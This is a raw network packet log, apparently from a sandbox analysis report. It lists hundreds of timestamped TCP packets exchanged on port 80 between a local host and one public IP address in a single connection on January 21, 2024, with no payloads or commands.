Jan 21, 2024 17:27:13.107155085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.107173920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.107184887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.107213974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.107950926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.107964039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.107975006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.107988119 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.108000994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.108002901 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.108040094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.108788967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.108803988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.108817101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.108839035 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.108858109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.108860016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.108875036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.108926058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.109580994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.109596968 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.109642029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.109649897 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.109656096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.109669924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.109705925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.110392094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.110409975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.110435963 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.110455990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.110470057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.110483885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.110512018 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.110585928 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.111329079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.111342907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.111360073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.111372948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.111387014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.111394882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.111413956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.112088919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112103939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112133980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.112143993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112158060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112169981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112195015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.112230062 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.112883091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112948895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112962008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112976074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.112989902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.113013983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.113013983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.113755941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.113770008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.113790035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.113800049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.113810062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.113823891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.113837004 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.113867044 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.114633083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.114648104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.114660025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.114677906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.114691973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.114692926 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.114722013 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.115391970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.115442991 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.115474939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.115488052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.115499973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.115518093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.115535021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.115555048 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.116250038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.116328955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.116343975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.116358995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.116373062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.116379976 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.116408110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.117230892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117248058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117260933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117274046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117288113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117290020 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.117301941 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.117332935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.117867947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117928982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117943048 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117955923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117969036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.117980003 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.117995977 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.118771076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.118784904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.118797064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.118810892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.118824959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.118829012 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.118860006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.118875027 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.119616985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.119632006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.119643927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.119657040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.119669914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.119673014 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.119817019 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.120376110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.120425940 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.120430946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.120445967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.120457888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.120471954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.120490074 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.120518923 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.121262074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.121275902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.121287107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.121299028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.121314049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.121320963 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.121366024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.122087002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122102976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122117043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122132063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122136116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.122153044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122158051 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.122211933 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.122873068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122888088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122922897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122929096 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.122937918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122951031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.122982025 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.123780012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.123836994 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.123847008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.123864889 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.123881102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.123898029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.123908997 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.123950005 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.124546051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.124561071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.124600887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.124605894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.124620914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.124639034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.124689102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.125422955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.125442982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.125457048 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.125463009 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.125473022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.125488997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.125498056 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.125535011 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.126245022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.126259089 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.126271009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.126302958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.177592039 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.193425894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.193559885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.193625927 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.193934917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.193949938 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194009066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194080114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194098949 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194113016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194152117 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194411993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194426060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194462061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194591999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194605112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194617033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194629908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194643974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194645882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194655895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194668055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194680929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194694996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194695950 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194710016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194722891 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194722891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194736958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194746017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194750071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194761992 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194776058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194778919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194792032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194793940 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194806099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194819927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194819927 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194832087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194844007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194863081 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194894075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194927931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194941998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194952965 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194966078 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194967985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.194979906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.194999933 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.195000887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.195018053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.195034981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.195076942 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.195831060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.195846081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.195863962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.195879936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.195888042 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.195928097 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.195976019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.195991039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196005106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196019888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196033955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.196036100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196050882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196078062 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.196101904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.196682930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196867943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196882963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196897030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196912050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196913958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.196927071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196935892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.196948051 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.196981907 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197005987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197021008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197033882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197050095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197087049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197165012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197180033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197192907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197207928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197222948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197227955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197237015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197248936 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197252989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197268009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197283983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197283983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197299004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197319031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197320938 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197334051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197340012 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197348118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197362900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197377920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197377920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197396040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197411060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197413921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197426081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197439909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197446108 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197455883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197470903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.197478056 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.197506905 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.198137999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198152065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198165894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198179960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198190928 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.198194981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198209047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198219061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.198224068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198239088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198244095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.198255062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198271036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198278904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.198286057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.198298931 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.198349953 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.199142933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199157953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199172974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199187994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199199915 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.199203014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199218035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199233055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199245930 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.199248075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.199269056 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.199295044 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.201699972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202068090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202080965 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202124119 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.202212095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202227116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202353954 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.202416897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202430010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202472925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.202666998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202680111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202719927 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.202891111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.202940941 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203104019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203191996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203205109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203217030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203236103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203237057 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203249931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203263044 CET	80	49713	172.67.210.35	192.168.2.6
